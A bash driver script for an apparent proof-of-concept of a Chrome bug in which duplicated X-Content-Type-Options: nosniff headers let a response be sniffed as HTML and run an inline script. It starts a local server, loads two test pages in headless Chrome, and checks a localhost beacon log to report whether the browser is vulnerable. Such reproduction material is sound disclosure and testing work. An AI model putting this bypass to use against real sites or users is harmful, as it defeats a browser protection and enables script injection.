#!/bin/bash
# Driver for the X-Content-Type-Options duplicate-header nosniff bypass POC.
#
# Usage: CHROME=/path/to/chrome ./run.sh
#
# What it does:
#   1. Starts server.py (serves /single and /double, see server.py header).
#   2. Launches Chrome at /double (two nosniff headers, no Content-Type).
#   3. Launches Chrome at /single (one nosniff header, no Content-Type).
#   4. Reads the beacon log.
#
# Expected (vulnerable) result:
#   - A "[BEACON] from=double ct=text/html" line appears -> nosniff was
#     BYPASSED, the body was sniffed as text/html and the inline <script>
#     executed.
#   - NO "[BEACON] from=single" line -> with a single header, nosniff is
#     honoured and the script does not run.

set -u

CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PORT=19234
HERE="$(cd "$(dirname "$0")" && pwd)"

cleanup() {
  [[ -n "${SERVER_PID:-}" ]] && kill "$SERVER_PID" 2>/dev/null
  pkill -9 -f "$CHROME" 2>/dev/null
}
trap cleanup EXIT

echo "[*] Starting server.py on port $PORT"
python3 "$HERE/server.py" > "$HERE/server.log" 2>&1 &
SERVER_PID=$!
sleep 1

if ! curl -sf "http://127.0.0.1:$PORT/log" >/dev/null; then
  echo "[!] Server failed to start:"
  cat "$HERE/server.log"
  exit 1
fi

echo "[*] Raw response headers for /double:"
curl -s -D - "http://127.0.0.1:$PORT/double" -o /dev/null | sed 's/^/    /'

run_chrome() {
  local url="$1"
  local profile
  profile="$(mktemp -d)"
  # NOTE: --dump-dom in this headless build does not self-terminate, so we
  # bound the run with `timeout`. The page loads and any <script> fires well
  # within this window; the beacon hit (or lack thereof) is the proof.
  timeout 15 "$CHROME" \
    --headless --disable-gpu --no-sandbox \
    --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
    --user-data-dir="$profile" \
    "$url" >/dev/null 2>&1
  rm -rf "$profile"
}

echo "[*] Loading /double (TWO X-Content-Type-Options: nosniff headers) ..."
run_chrome "http://127.0.0.1:$PORT/double"

echo "[*] Loading /single (ONE X-Content-Type-Options: nosniff header) ..."
run_chrome "http://127.0.0.1:$PORT/single"

echo
echo "===== beacon log ====="
LOG="$(curl -s "http://127.0.0.1:$PORT/log")"
echo "$LOG"
echo "======================"
echo

DOUBLE_HIT=0
SINGLE_HIT=0
grep -q "from=double" <<<"$LOG" && DOUBLE_HIT=1
grep -q "from=single" <<<"$LOG" && SINGLE_HIT=1

if [[ $DOUBLE_HIT -eq 1 && $SINGLE_HIT -eq 0 ]]; then
  echo "[+] VULNERABLE: duplicated X-Content-Type-Options headers bypass nosniff."
  echo "    /double executed inline <script> (sniffed as $(grep from=double <<<"$LOG" | sed 's/.*ct=//'))."
  echo "    /single  did NOT execute (nosniff honoured)."
  exit 0
elif [[ $DOUBLE_HIT -eq 0 && $SINGLE_HIT -eq 0 ]]; then
  echo "[-] NOT VULNERABLE: no script execution on either endpoint (nosniff honoured for both)."
  exit 1
else
  echo "[?] Unexpected result (double=$DOUBLE_HIT single=$SINGLE_HIT)."
  exit 2
fi
